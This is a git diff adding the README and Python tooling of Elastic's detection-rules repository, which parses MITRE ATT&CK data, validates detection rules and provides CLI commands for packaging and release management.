repo](https://elastic.co/blog/elastic-security-opens-public-detection-rules-repo). For additional content, see the accompanying webinar, [Elastic Security: Introducing the public repository for detection rules](https://www.elastic.co/webinars/introducing-the-public-repository-for-detection-rules). + + +## Table of Contents +- [Overview of this repository](#overview-of-this-repository) +- [Getting started](#getting-started) +- [Red Team Automation](rta) +- [How to contribute](#how-to-contribute) +- [Licensing](#licensing) +- [Questions? Problems? Suggestions?](#questions-problems-suggestions) + + +## Overview of this repository + +Detection Rules contains more than just static rule files. This repository also contains code for unit testing in Python and integrating with the Detection Engine in Kibana. + +| folder | description | +|-------------------------------------- |------------------------------------------------------------------------------------ | +| [`detection_rules/`](detection_rules) | Python module for rule parsing, validating and packaging | +| [`etc/`](etc) | Miscellaneous files, such as ECS and Beats schemas | +| [`kibana/`](kibana) | Python library for handling the API calls to Kibana and the Detection Engine | +| [`kql/`](kql) | Python library for parsing and validating Kibana Query Language | +| [`rta/`](rta) | Red Team Automation code used to emulate attacker techniques, used for rule testing | +| [`rules/`](rules) | Root directory where rules are stored | +| [`tests/`](tests) | Python code for unit testing rules | + + +## Getting started + +Although rules can be added by manually creating `.toml` files, we don't recommend it. This repository also consists of a python module that aids rule creation and unit testing. Assuming you have Python 3.8+, run the below command to install the dependencies: +```console +$ pip install -r requirements.txt +Collecting jsl==0.2.4 + Downloading jsl-0.2.4.tar.gz (21 kB) +Collecting jsonschema==3.2.0 + Downloading jsonschema-3.2.0-py2.py3-none-any.whl (56 kB) + |████████████████████████████████| 56 kB 318 kB/s +Collecting requests==2.22.0 + Downloading requests-2.22.0-py2.py3-none-any.whl (57 kB) + |████████████████████████████████| 57 kB 1.2 MB/s +Collecting Click==7.0 + Downloading Click-7.0-py2.py3-none-any.whl (81 kB) + |████████████████████████████████| 81 kB 2.6 MB/s +... +``` + +To confirm that everything was properly installed, run with the `--help` flag +```console +$ python -m detection_rules --help + +Usage: detection_rules [OPTIONS] COMMAND [ARGS]... + + Commands for detection-rules repository. + +Options: + -d, --debug / -n, --no-debug Print full exception stacktrace on errors + -h, --help Show this message and exit. + +Commands: + create-rule Create a detection rule. + dev Commands for development and management by internal... + es Commands for integrating with Elasticsearch. + import-rules Import rules from json, toml, or Kibana exported rule... + kibana Commands for integrating with Kibana. + mass-update Update multiple rules based on eql results. + normalize-data Normalize Elasticsearch data timestamps and sort. + rule-search Use KQL or EQL to find matching rules. + test Run unit tests over all of the rules. + toml-lint Cleanup files with some simple toml formatting. + validate-all Check if all rules validates against a schema. + validate-rule Check if a rule staged in rules dir validates against a... + view-rule View an internal rule or specified rule file. +``` + +The [contribution guide](CONTRIBUTING.md) describes how to use the `create-rule` and `test` commands to create and test a new rule when contributing to Detection Rules. + +For more advanced command line interface (CLI) usage, refer to the [CLI guide](CLI.md). + +## How to contribute + +We welcome your contributions to Detection Rules! Before contributing, please familiarize yourself with this repository, its [directory structure](#overview-of-this-repository), and our [philosophy](PHILOSOPHY.md) about rule creation. When you're ready to contribute, read the [contribution guide](CONTRIBUTING.md) to learn how we turn detection ideas into production rules and validate with testing. + +## Licensing + +Everything in this repository — rules, code, RTA, etc. — is licensed under the [Elastic License v2](LICENSE.txt). These rules are designed to be used in the context of the Detection Engine within the Elastic Security application. If you’re using our [Elastic Cloud managed service](https://www.elastic.co/cloud/) or the default distribution of the Elastic Stack software that includes the [full set of free features](https://www.elastic.co/subscriptions), you’ll get the latest rules the first time you navigate to the detection engine. + +Occasionally, we may want to import rules from another repository that already have a license, such as MIT or Apache 2.0. This is welcome, as long as the license permits sublicensing under the Elastic License v2. We keep those license notices in `NOTICE.txt` and sublicense as the Elastic License v2 with all other rules. We also require contributors to sign a [Contributor License Agreement](https://www.elastic.co/contributor-agreement) before contributing code to any Elastic repositories. + +## Questions? Problems? Suggestions? + +- Want to know more about the Detection Engine? Check out the [overview](https://www.elastic.co/guide/en/siem/guide/current/detection-engine-overview.html) in Kibana. +- This repository includes new and updated rules that have not been released yet. To see the latest set of rules released with the stack, see the [Prebuilt rule reference](https://www.elastic.co/guide/en/security/current/prebuilt-rules-changelog.html). +- If you’d like to report a false positive or other type of bug, please create a GitHub issue and check if there's an existing one first. +- Need help with Detection Rules? Post an issue or ask away in our [Security Discuss Forum](https://discuss.elastic.co/c/security/) or the **#security-detection-rules** channel within [Slack workspace](https://www.elastic.co/blog/join-our-elastic-stack-workspace-on-slack). diff --git a/detection_rules/__init__.py b/detection_rules/__init__.py new file mode 100644 index 000000000..19f40f44f --- /dev/null +++ b/detection_rules/__init__.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Detection rules.""" +import sys + +assert (3, 8) <= sys.version_info < (4, 0), "Only Python 3.8+ supported" + +from . import ( # noqa: E402 + devtools, + docs, + eswrap, + ghwrap, + kbwrap, + main, + mappings, + ml, + misc, + navigator, + rule_formatter, + rule_loader, + schemas, + utils +) + +__all__ = ( + 'devtools', + 'docs', + 'eswrap', + 'ghwrap', + 'kbwrap', + 'mappings', + "main", + 'misc', + 'ml', + 'navigator', + 'rule_formatter', + 'rule_loader', + 'schemas', + 'utils' +) diff --git a/detection_rules/__main__.py b/detection_rules/__main__.py new file mode 100644 index 000000000..b50fc3e92 --- /dev/null +++ b/detection_rules/__main__.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +# coding=utf-8 +"""Shell for detection-rules.""" +import os +import sys + +import click + +assert (3, 8) <= sys.version_info < (4, 0), "Only Python 3.8+ supported" + +from .main import root # noqa: E402 + +CURR_DIR = os.path.dirname(os.path.abspath(__file__)) +CLI_DIR = os.path.dirname(CURR_DIR) +ROOT_DIR = os.path.dirname(CLI_DIR) + +BANNER = r""" +█▀▀▄ ▄▄▄ ▄▄▄ ▄▄▄ ▄▄▄ ▄▄▄ ▄▄▄ ▄▄▄ ▄ ▄ █▀▀▄ ▄ ▄ ▄ ▄▄▄ ▄▄▄ +█ █ █▄▄ █ █▄▄ █ █ █ █ █ █▀▄ █ █▄▄▀ █ █ █ █▄▄ █▄▄ +█▄▄▀ █▄▄ █ █▄▄ █▄▄ █ ▄█▄ █▄█ █ ▀▄█ █ ▀▄ █▄▄█ █▄▄ █▄▄ ▄▄█ +""" + + +def main(): + """CLI entry point.""" + click.echo(BANNER) + root(prog_name="detection_rules") + + +main() diff --git a/detection_rules/attack.py b/detection_rules/attack.py new file mode 100644 index 000000000..cdac1fc07 --- /dev/null +++ b/detection_rules/attack.py @@ -0,0 +1,239 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Mitre attack info.""" +import re +import time +from pathlib import Path + +import json +import requests +from collections import OrderedDict + +from .semver import Version +from .utils import get_etc_path, get_etc_glob_path, read_gzip, gzip_compress + +PLATFORMS = ['Windows', 'macOS', 'Linux'] +CROSSWALK_FILE = get_etc_path('attack-crosswalk.json') +TECHNIQUES_REDIRECT_FILE = get_etc_path('attack-technique-redirects.json') + +with open(TECHNIQUES_REDIRECT_FILE, 'r') as f: + techniques_redirect_map = json.load(f)['mapping'] + +tactics_map = {} + + +def get_attack_file_path() -> str: + pattern = 'attack-v*.json.gz' + attack_file = get_etc_glob_path(pattern) + if len(attack_file) != 1: + raise FileNotFoundError(f'Missing required {pattern} file') + return attack_file[0] + + +_, _attack_path_base = get_attack_file_path().split('-v') +_ext_length = len('.json.gz') +CURRENT_ATTACK_VERSION = _attack_path_base[:-_ext_length] + + +def load_attack_gz() -> dict: + + return json.loads(read_gzip(get_attack_file_path())) + + +attack = load_attack_gz() + +technique_lookup = {} +revoked = {} +deprecated = {} + +for item in attack["objects"]: + if item["type"] == "x-mitre-tactic": + tactics_map[item['name']] = item['external_references'][0]['external_id'] + + if item["type"] == "attack-pattern" and item["external_references"][0]['source_name'] == 'mitre-attack': + technique_id = item['external_references'][0]['external_id'] + technique_lookup[technique_id] = item + + if item.get('revoked'): + revoked[technique_id] = item + + if item.get('x_mitre_deprecated'): + deprecated[technique_id] = item + +revoked = dict(sorted(revoked.items())) +deprecated = dict(sorted(deprecated.items())) +tactics = list(tactics_map) +matrix = {tactic: [] for tactic in tactics} +no_tactic = [] +attack_tm = 'ATT&CK\u2122' + + +# Enumerate over the techniques and build the matrix back up +for technique_id, technique in sorted(technique_lookup.items(), key=lambda kv: kv[1]['name'].lower()): + kill_chain = technique.get('kill_chain_phases') + if kill_chain: + for tactic in kill_chain: + tactic_name = next(t for t in tactics if tactic['kill_chain_name'] == 'mitre-attack' and t.lower() == tactic['phase_name'].replace("-", " ")) # noqa: E501 + matrix[tactic_name].append(technique_id) + else: + no_tactic.append(technique_id) + +for tactic in matrix: + matrix[tactic].sort(key=lambda tid: technique_lookup[tid]['name'].lower()) + + +technique_lookup = OrderedDict(sorted(technique_lookup.items())) +techniques = sorted({v['name'] for k, v in technique_lookup.items()}) +technique_id_list = [t for t in technique_lookup if '.' not in t] +sub_technique_id_list = [t for t in technique_lookup if '.' in t] + + +def refresh_attack_data(save=True): + """Refresh ATT&CK data from Mitre.""" + attack_path = Path(get_attack_file_path()) + filename, _, _ = attack_path.name.rsplit('.', 2) + + def get_version_from_tag(name, pattern='att&ck-v'): + _, version = name.lower().split(pattern, 1) + return version + + current_version = get_version_from_tag(filename, 'attack-v') + + r = requests.get('https://api.github.com/repos/mitre/cti/tags') + r.raise_for_status() + releases = [t for t in r.json() if t['name'].startswith('ATT&CK-v')] + latest_release = max(releases, key=lambda release: Version(get_version_from_tag(release['name']))) + release_name = latest_release['name'] + latest_version = get_version_from_tag(release_name) + + if Version(current_version) >= Version(latest_version): + print(f'No versions newer than the current detected: {current_version}') + return + + download = f'https://raw.githubusercontent.com/mitre/cti/{release_name}/enterprise-attack/enterprise-attack.json' + r = requests.get(download) + r.raise_for_status() + attack_data = r.json() + compressed = gzip_compress(json.dumps(attack_data, sort_keys=True)) + + if save: + new_path = Path(get_etc_path(f'attack-v{latest_version}.json.gz')) + new_path.write_bytes(compressed) + attack_path.unlink() + print(f'Replaced file: {attack_path} with {new_path}') + + return attack_data, compressed + + +def build_threat_map_entry(tactic: str, *technique_ids: str) -> dict: + """Build rule threat map from technique IDs.""" + url_base = 'https://attack.mitre.org/{type}/{id}/' + tactic_id = tactics_map[tactic] + tech_entries = {} + + def make_entry(_id): + e = { + 'id': _id, + 'name': technique_lookup[_id]['name'], + 'reference': url_base.format(type='techniques', id=_id.replace('.', '/')) + } + return e + + for tid in technique_ids: + # fail if deprecated or else convert if it has been replaced + if tid in deprecated: + raise ValueError(f'Technique ID: {tid} has been deprecated and should not be used') + elif tid in techniques_redirect_map: + tid = techniques_redirect_map[tid] + + if tid not in matrix[tactic]: + raise ValueError(f'Technique ID: {tid} does not fall under tactic: {tactic}') + + # sub-techniques + if '.' in tid: + parent_technique, _ = tid.split('.', 1) + tech_entries.setdefault(parent_technique, make_entry(parent_technique)) + tech_entries[parent_technique].setdefault('subtechnique', []).append(make_entry(tid)) + else: + tech_entries.setdefault(tid, make_entry(tid)) + + entry = { + 'framework': 'MITRE ATT&CK', + 'tactic': { + 'id': tactic_id, + 'name': tactic, + 'reference': url_base.format(type='tactics', id=tactic_id) + } + } + + if tech_entries: + entry['technique'] = sorted(tech_entries.values(), key=lambda x: x['id']) + + return entry + + +def update_threat_map(rule_threat_map): + """Update rule map techniques to reflect changes from ATT&CK.""" + for entry in rule_threat_map: + for tech in entry['technique']: + tech['name'] = technique_lookup[tech['id']]['name'] + + +def retrieve_redirected_id(asset_id: str): + """Get the ID for a redirected ATT&CK asset.""" + if asset_id in (tactics_map.values()): + attack_type = 'tactics' + elif asset_id in list(technique_lookup): + attack_type = 'techniques' + else: + raise ValueError(f'Unknown asset_id: {asset_id}') + + response = requests.get(f'https://attack.mitre.org/{attack_type}/{asset_id.replace(".", "/")}') + text = response.text.strip().strip("'").lower() + + if text.startswith(' list: + if schema is None: + # sometimes we see `fields: null` in the yaml + return [] + + flattened = [] + for s in schema: + if s.get("type") == "group": + nested_prefix = prefix + s["name"] + "." + # beats is complicated. it seems like we would expect a zoom.webhook.*, for the zoom.webhook dataset, + # but instead it's just at zoom.* directly. + # + # we have what looks like zoom.zoom.*, but should actually just be zoom.*. + # this is one quick heuristic to determine if a submodule nests fields at the parent. + # it's probably not perfect, but we can fix other bugs as we run into them later + if len(schema) == 1 and nested_prefix.startswith(prefix + prefix): + nested_prefix = s["name"] + "." + flattened.extend(_flatten_schema(s["fields"], prefix=nested_prefix)) + elif "fields" in s: + flattened.extend(_flatten_schema(s["fields"], prefix=prefix)) + elif "name" in s: + s = s.copy() + # type is implicitly keyword if not defined + # example: https://github.com/elastic/beats/blob/main/packetbeat/_meta/fields.common.yml#L7-L12 + s.setdefault("type", "keyword") + s["name"] = prefix + s["name"] + flattened.append(s) + + return flattened + + +def get_field_schema(base_directory, prefix="", include_common=False): + base_directory = base_directory.get("folders", {}).get("_meta", {}).get("files", {}) + flattened = [] + + file_names = ("fields.yml", "fields.common.yml") if include_common else ("fields.yml", ) + + for name in file_names: + if name in base_directory: + flattened.extend(_flatten_schema(base_directory[name], prefix=prefix)) + + return flattened + + +def get_beat_root_schema(schema: dict, beat: str): + if beat not in schema: + raise KeyError(f"Unknown beats module {beat}") + + beat_dir = schema[beat] + flattened = get_field_schema(beat_dir, include_common=True) + + return {field["name"]: field for field in sorted(flattened, key=lambda f: f["name"])} + + +def get_beats_sub_schema(schema: dict, beat: str, module: str, *datasets: str): + if beat not in schema: + raise KeyError(f"Unknown beats module {beat}") + + flattened = [] + beat_dir = schema[beat] + module_dir = beat_dir.get("folders", {}).get("module", {}).get("folders", {}).get(module, {}) + + # if we only have a module then we'll work with what we got + if not datasets: + datasets = [d for d in module_dir.get("folders", {}) if not d.startswith("_")] + + for dataset in datasets: + # replace aws.s3 -> s3 + if dataset.startswith(module + "."): + dataset = dataset[len(module) + 1:] + + dataset_dir = module_dir.get("folders", {}).get(dataset, {}) + flattened.extend(get_field_schema(dataset_dir, prefix=module + ".", include_common=True)) + + # we also need to capture (beta?) fields which are directly within the module _meta.files.fields + flattened.extend(get_field_schema(module_dir, include_common=True)) + + return {field["name"]: field for field in sorted(flattened, key=lambda f: f["name"])} + + +@cached +def get_versions() -> List[Version]: + versions = [] + for filename in os.listdir(get_etc_path("beats_schemas")): + version_match = re.match(r'v(.+)\.json\.gz', filename) + if version_match: + versions.append(Version(version_match.groups()[0])) + + return versions + + +@cached +def get_max_version() -> str: + return str(max(get_versions())) + + +@cached +def read_beats_schema(version: str = None): + if version and version.lower() == 'main': + return json.loads(read_gzip(get_etc_path('beats_schemas', 'main.json.gz'))) + + version = Version(version) if version else None + beats_schemas = get_versions() + + if version and version not in beats_schemas: + raise ValueError(f'Unknown beats schema: {version}') + + version = version or get_max_version() + + return json.loads(read_gzip(get_etc_path('beats_schemas', f'v{version}.json.gz'))) + + +def get_schema_from_datasets(beats, modules, datasets, version=None): + filtered = {} + beats_schema = read_beats_schema(version=version) + + # infer the module if only a dataset are defined + if not modules: + modules.update(ds.split(".")[0] for ds in datasets if "." in ds) + + for beat in beats: + # if no modules are specified then grab them all + # all_modules = list(beats_schema.get(beat, {}).get("folders", {}).get("module", {}).get("folders", {})) + # beat_modules = modules or all_modules + filtered.update(get_beat_root_schema(beats_schema, beat)) + + for module in modules: + filtered.update(get_beats_sub_schema(beats_schema, beat, module, *datasets)) + + return filtered + + +def get_schema_from_eql(tree: eql.ast.BaseNode, beats: list, version: str = None) -> dict: + modules = set() + datasets = set() + + # extract out event.module and event.dataset from the query's AST + for node in tree: + if isinstance(node, eql.ast.Comparison) and node.comparator == node.EQ and \ + isinstance(node.right, eql.ast.String): + if node.left == eql.ast.Field("event", ["module"]): + modules.add(node.right.render()) + elif node.left == eql.ast.Field("event", ["dataset"]): + datasets.add(node.right.render()) + elif isinstance(node, eql.ast.InSet): + if node.expression == eql.ast.Field("event", ["module"]): + modules.add(node.get_literals()) + elif node.expression == eql.ast.Field("event", ["dataset"]): + datasets.add(node.get_literals()) + + return get_schema_from_datasets(beats, modules, datasets, version=version) + + +def get_schema_from_kql(tree: kql.ast.BaseNode, beats: list, version: str = None) -> dict: + modules = set() + datasets = set() + + # extract out event.module and event.dataset from the query's AST + for node in tree: + if isinstance(node, kql.ast.FieldComparison) and node.field == kql.ast.Field("event.module"): + modules.update(child.value for child in node.value if isinstance(child, kql.ast.String)) + + if isinstance(node, kql.ast.FieldComparison) and node.field == kql.ast.Field("event.dataset"): + datasets.update(child.value for child in node.value if isinstance(child, kql.ast.String)) + + return get_schema_from_datasets(beats, modules, datasets, version=version) + + +def parse_beats_from_index(index: Optional[list]) -> List[str]: + indexes = index or [] + beat_types = [index.split("-")[0] for index in indexes if "beat-*" in index] + return beat_types diff --git a/detection_rules/cli_utils.py b/detection_rules/cli_utils.py new file mode 100644 index 000000000..bc26007d7 --- /dev/null +++ b/detection_rules/cli_utils.py @@ -0,0 +1,220 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import copy +import datetime +import os +import typing +from pathlib import Path +from typing import List, Optional + +import click + +import kql +import functools +from . import ecs +from .attack import matrix, tactics, build_threat_map_entry +from .rule import TOMLRule, TOMLRuleContents +from .rule_loader import RuleCollection, DEFAULT_RULES_DIR, dict_filter +from .schemas import definitions +from .utils import clear_caches, get_path + +RULES_DIR = get_path("rules") + + +def single_collection(f): + """Add arguments to get a RuleCollection by file, directory or a list of IDs""" + from .misc import client_error + + @click.option('--rule-file', '-f', multiple=False, required=False, type=click.Path(dir_okay=False)) + @click.option('--rule-id', '-id', multiple=False, required=False) + @functools.wraps(f) + def get_collection(*args, **kwargs): + rule_name: List[str] = kwargs.pop("rule_name", []) + rule_id: List[str] = kwargs.pop("rule_id", []) + rule_files: List[str] = kwargs.pop("rule_file") + directories: List[str] = kwargs.pop("directory") + + rules = RuleCollection() + + if bool(rule_name) + bool(rule_id) + bool(rule_files) != 1: + client_error('Required: exactly one of --rule-id, --rule-file, or --directory') + + rules.load_files(Path(p) for p in rule_files) + rules.load_directories(Path(d) for d in directories) + + if rule_id: + rules.load_directory(DEFAULT_RULES_DIR, toml_filter=dict_filter(rule__rule_id=rule_id)) + + if len(rules) != 1: + client_error(f"Could not find rule with ID {rule_id}") + + kwargs["rules"] = rules + return f(*args, **kwargs) + + return get_collection + + +def multi_collection(f): + """Add arguments to get a RuleCollection by file, directory or a list of IDs""" + from .misc import client_error + + @click.option('--rule-file', '-f', multiple=True, type=click.Path(dir_okay=False), required=False) + @click.option('--directory', '-d', multiple=True, type=click.Path(file_okay=False), required=False, + help='Recursively export rules from a directory') + @click.option('--rule-id', '-id', multiple=True, required=False) + @functools.wraps(f) + def get_collection(*args, **kwargs): + rule_id: List[str] = kwargs.pop("rule_id", []) + rule_files: List[str] = kwargs.pop("rule_file") + directories: List[str] = kwargs.pop("directory") + + rules = RuleCollection() + + if not (directories or rule_id or rule_files): + client_error('Required: at least one of --rule-id, --rule-file, or --directory') + + rules.load_files(Path(p) for p in rule_files) + rules.load_directories(Path(d) for d in directories) + + if rule_id: + rules.load_directory(DEFAULT_RULES_DIR, toml_filter=dict_filter(rule__rule_id=rule_id)) + found_ids = {rule.id for rule in rules} + missing = set(rule_id).difference(found_ids) + + if missing: + client_error(f'Could not find rules with IDs: {", ".join(missing)}') + + if len(rules) == 0: + client_error("No rules found") + + kwargs["rules"] = rules + return f(*args, **kwargs) + + return get_collection + + +def rule_prompt(path=None, rule_type=None, required_only=True, save=True, verbose=False, + additional_required: Optional[list] = None, **kwargs) -> TOMLRule: + """Prompt loop to build a rule.""" + from .misc import schema_prompt + + additional_required = additional_required or [] + creation_date = datetime.date.today().strftime("%Y/%m/%d") + if verbose and path: + click.echo(f'[+] Building rule for {path}') + + kwargs = copy.deepcopy(kwargs) + + if 'rule' in kwargs and 'metadata' in kwargs: + kwargs.update(kwargs.pop('metadata')) + kwargs.update(kwargs.pop('rule')) + + rule_type = rule_type or kwargs.get('type') or \ + click.prompt('Rule type', type=click.Choice(typing.get_args(definitions.RuleType))) + + target_data_subclass = TOMLRuleContents.get_data_subclass(rule_type) + schema = target_data_subclass.jsonschema() + props = schema['properties'] + required_fields = schema.get('required', []) + additional_required + contents = {} + skipped = [] + + for name, options in props.items(): + + if name == 'type': + contents[name] = rule_type + continue + + # these are set at package release time + if name == 'version': + continue + + if required_only and name not in required_fields: + continue + + # build this from technique ID + if name == 'threat': + threat_map = [] + + while click.confirm('add mitre tactic?'): + tactic = schema_prompt('mitre tactic name', type='string', enum=tactics, required=True) + technique_ids = schema_prompt(f'technique or sub-technique IDs for {tactic}', type='array', + required=False, enum=list(matrix[tactic])) or [] + + try: + threat_map.append(build_threat_map_entry(tactic, *technique_ids)) + except KeyError as e: + click.secho(f'Unknown ID: {e.args[0]} - entry not saved for: {tactic}', fg='red', err=True) + continue + except ValueError as e: + click.secho(f'{e} - entry not saved for: {tactic}', fg='red', err=True) + continue + + if len(threat_map) > 0: + contents[name] = threat_map + continue + + if name == 'threshold': + contents[name] = {n: schema_prompt(f'threshold {n}', required=n in options['required'], **opts.copy()) + for n, opts in options['properties'].items()} + continue + + if kwargs.get(name): + contents[name] = schema_prompt(name, value=kwargs.pop(name)) + continue + + result = schema_prompt(name, required=name in required_fields, **options.copy()) + + if result: + if name not in required_fields and result == options.get('default', ''): + skipped.append(name) + continue + + contents[name] = result + + suggested_path = os.path.join(RULES_DIR, contents['name']) # TODO: UPDATE BASED ON RULE STRUCTURE + path = os.path.realpath(path or input('File path for rule [{}]: '.format(suggested_path)) or suggested_path) + meta = {'creation_date': creation_date, 'updated_date': creation_date, 'maturity': 'development'} + + try: + rule = TOMLRule(path=Path(path), contents=TOMLRuleContents.from_dict({'rule': contents, 'metadata': meta})) + except kql.KqlParseError as e: + if e.error_msg == 'Unknown field': + warning = ('If using a non-ECS field, you must update "ecs{}.non-ecs-schema.json" under `beats` or ' + '`legacy-endgame` (Non-ECS fields should be used minimally).'.format(os.path.sep)) + click.secho(e.args[0], fg='red', err=True) + click.secho(warning, fg='yellow', err=True) + click.pause() + + # if failing due to a query, loop until resolved or terminated + while True: + try: + contents['query'] = click.edit(contents['query'], extension='.eql') + rule = TOMLRule(path=Path(path), + contents=TOMLRuleContents.from_dict({'rule': contents, 'metadata': meta})) + except kql.KqlParseError as e: + click.secho(e.args[0], fg='red', err=True) + click.pause() + + if e.error_msg.startswith("Unknown field"): + # get the latest schema for schema errors + clear_caches() + ecs.get_kql_schema(indexes=contents.get("index", [])) + continue + + break + + if save: + rule.save_toml() + + if skipped: + print('Did not set the following values because they are un-required when set to the default value') + print(' - {}'.format('\n - '.join(skipped))) + + # rta_mappings.add_rule_to_mapping_file(rule) + # click.echo('Placeholder added to rule-mapping.yml') + + return rule diff --git a/detection_rules/devtools.py b/detection_rules/devtools.py new file mode 100644 index 000000000..1b59de755 --- /dev/null +++ b/detection_rules/devtools.py @@ -0,0 +1,954 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""CLI commands for internal detection_rules dev team.""" +import dataclasses +import functools +import io +import json +import os +import shutil +import subprocess +import textwrap +import time +import typing +import urllib.parse +from pathlib import Path +from typing import Dict, Optional, Tuple, List + +import click +import requests.exceptions +import yaml +from elasticsearch import Elasticsearch + +from kibana.connector import Kibana +from . import rule_loader, utils +from .cli_utils import single_collection +from .docs import IntegrationSecurityDocs +from .eswrap import CollectEvents, add_range_to_dsl +from .ghwrap import GithubClient, update_gist +from .main import root +from .misc import PYTHON_LICENSE, add_client, client_error +from .packaging import PACKAGE_FILE, RELEASE_DIR, CURRENT_RELEASE_PATH, Package, current_stack_version +from .version_lock import default_version_lock +from .rule import AnyRuleData, BaseRuleData, QueryRuleData, TOMLRule +from .rule_loader import RuleCollection, production_filter +from .schemas import definitions +from .semver import Version +from .utils import dict_hash, get_path, load_dump + +RULES_DIR = get_path('rules') +GH_CONFIG = Path.home() / ".config" / "gh" / "hosts.yml" +NAVIGATOR_GIST_ID = '1a3f65224822a30a8228a8ed20289a89' +NAVIGATOR_URL = 'https://ela.st/detection-rules-navigator' +NAVIGATOR_BADGE = ( + f'[![ATT&CK navigator coverage](https://img.shields.io/badge/ATT&CK-Navigator-red.svg)]({NAVIGATOR_URL})' +) + + +def get_github_token() -> Optional[str]: + """Get the current user's GitHub token.""" + token = os.getenv("GITHUB_TOKEN") + + if token is None and GH_CONFIG.exists(): + token = load_dump(str(GH_CONFIG)).get("github.com", {}).get("oauth_token") + + return token + + +@root.group('dev') +def dev_group(): + """Commands related to the Elastic Stack rules release lifecycle.""" + + +@dev_group.command('build-release') +@click.argument('config-file', type=click.Path(exists=True, dir_okay=False), required=False, default=PACKAGE_FILE) +@click.option('--update-version-lock', '-u', is_flag=True, + help='Save version.lock.json file with updated rule versions in the package') +@click.option('--generate-navigator', is_flag=True, help='Generate ATT&CK navigator files') +def build_release(config_file, update_version_lock: bool, generate_navigator: bool, release=None, verbose=True): + """Assemble all the rules into Kibana-ready release files.""" + config = load_dump(config_file)['package'] + if generate_navigator: + config['generate_navigator'] = True + + if release is not None: + config['release'] = release + + if verbose: + click.echo(f'[+] Building package {config.get("name")}') + + package = Package.from_config(config, verbose=verbose) + + if update_version_lock: + default_version_lock.manage_versions(package.rules, save_changes=True, verbose=verbose) + + package.save(verbose=verbose) + + if verbose: + package.get_package_hash(verbose=verbose) + click.echo(f'- {len(package.rules)} rules included') + + return package + + +@dev_group.command('build-integration-docs') +@click.argument('registry-version') +@click.option('--pre', required=True, help='Tag for pre-existing rules') +@click.option('--post', required=True, help='Tag for rules post updates') +@click.option('--directory', '-d', type=Path, required=True, help='Output directory to save docs to') +@click.option('--force', '-f', is_flag=True, help='Bypass the confirmation prompt') +@click.option('--remote', '-r', default='origin', help='Override the remote from "origin"') +@click.pass_context +def build_integration_docs(ctx: click.Context, registry_version: str, pre: str, post: str, directory: Path, force: bool, + remote: Optional[str] = 'origin') -> IntegrationSecurityDocs: + """Build documents from two git tags for an integration package.""" + if not force: + if not click.confirm(f'This will refresh tags and may overwrite local tags for: {pre} and {post}. Continue?'): + ctx.exit(1) + + pre_rules = RuleCollection() + pre_rules.load_git_tag(pre, remote, skip_query_validation=True) + + if pre_rules.errors: + click.echo(f'error loading {len(pre_rules.errors)} rule(s) from: {pre}, skipping:') + click.echo(' - ' + '\n - '.join([str(p) for p in pre_rules.errors])) + + post_rules = RuleCollection() + post_rules.load_git_tag(post, remote, skip_query_validation=True) + + if post_rules.errors: + click.echo(f'error loading {len(post_rules.errors)} rule(s) from: {post}, skipping:') + click.echo(' - ' + '\n - '.join([str(p) for p in post_rules.errors])) + + rules_changes = pre_rules.compare_collections(post_rules) + + docs = IntegrationSecurityDocs(registry_version, directory, True, *rules_changes) + package_dir = docs.generate() + click.echo(f'Generated documents saved to: {package_dir}') + updated, new, deprecated = rules_changes + click.echo(f'- {len(updated)} updated rules') + click.echo(f'- {len(new)} new rules') + click.echo(f'- {len(deprecated)} deprecated rules') + + return docs + + +@dataclasses.dataclass +class GitChangeEntry: + status: str + original_path: Path + new_path: Optional[Path] = None + + @classmethod + def from_line(cls, text: str) -> 'GitChangeEntry': + columns = text.split("\t") + assert 2 <= len(columns) <= 3 + + columns[1:] = [Path(c) for c in columns[1:]] + return cls(*columns) + + @property + def path(self) -> Path: + return self.new_path or self.original_path + + def revert(self, dry_run=False): + """Run a git command to revert this change.""" + + def git(*args): + command_line = ["git"] + [str(arg) for arg in args] + click.echo(subprocess.list2cmdline(command_line)) + + if not dry_run: + subprocess.check_call(command_line) + + if self.status.startswith("R"): + # renames are actually Delete (D) and Add (A) + # revert in opposite order + GitChangeEntry("A", self.new_path).revert(dry_run=dry_run) + GitChangeEntry("D", self.original_path).revert(dry_run=dry_run) + return + + # remove the file from the staging area (A|M|D) + git("restore", "--staged", self.original_path) + + def read(self, git_tree="HEAD") -> bytes: + """Read the file from disk or git.""" + if self.status == "D": + # deleted files need to be recovered from git + return subprocess.check_output(["git", "show", f"{git_tree}:{self.path}"]) + + return self.path.read_bytes() + + +@dev_group.command("unstage-incompatible-rules") +@click.option("--target-stack-version", "-t", help="Minimum stack version to filter the staging area", required=True) +@click.option("--dry-run", is_flag=True, help="List the changes that would be made") +def prune_staging_area(target_stack_version: str, dry_run: bool): + """Prune the git staging area to remove changes to incompatible rules.""" + exceptions = { + "etc/packages.yml", + } + + target_stack_version = Version(target_stack_version)[:2] + + # load a structured summary of the diff from git + git_output = subprocess.check_output(["git", "diff", "--name-status", "HEAD"]) + changes = [GitChangeEntry.from_line(line) for line in git_output.decode("utf-8").splitlines()] + + # track which changes need to be reverted because of incompatibilities + reversions: List[GitChangeEntry] = [] + + for change in changes: + if str(change.path) in exceptions: + # Don't backport any changes to files matching the list of exceptions + reversions.append(change) + continue + + # it's a change to a rule file, load it and check the version + if str(change.path.absolute()).startswith(RULES_DIR) and change.path.suffix == ".toml": + # bypass TOML validation in case there were schema changes + dict_contents = RuleCollection.deserialize_toml_string(change.read()) + min_stack_version: Optional[str] = dict_contents.get("metadata", {}).get("min_stack_version") + + if min_stack_version is not None and target_stack_version < Version(min_stack_version)[:2]: + # rule is incompatible, add to the list of reversions to make later + 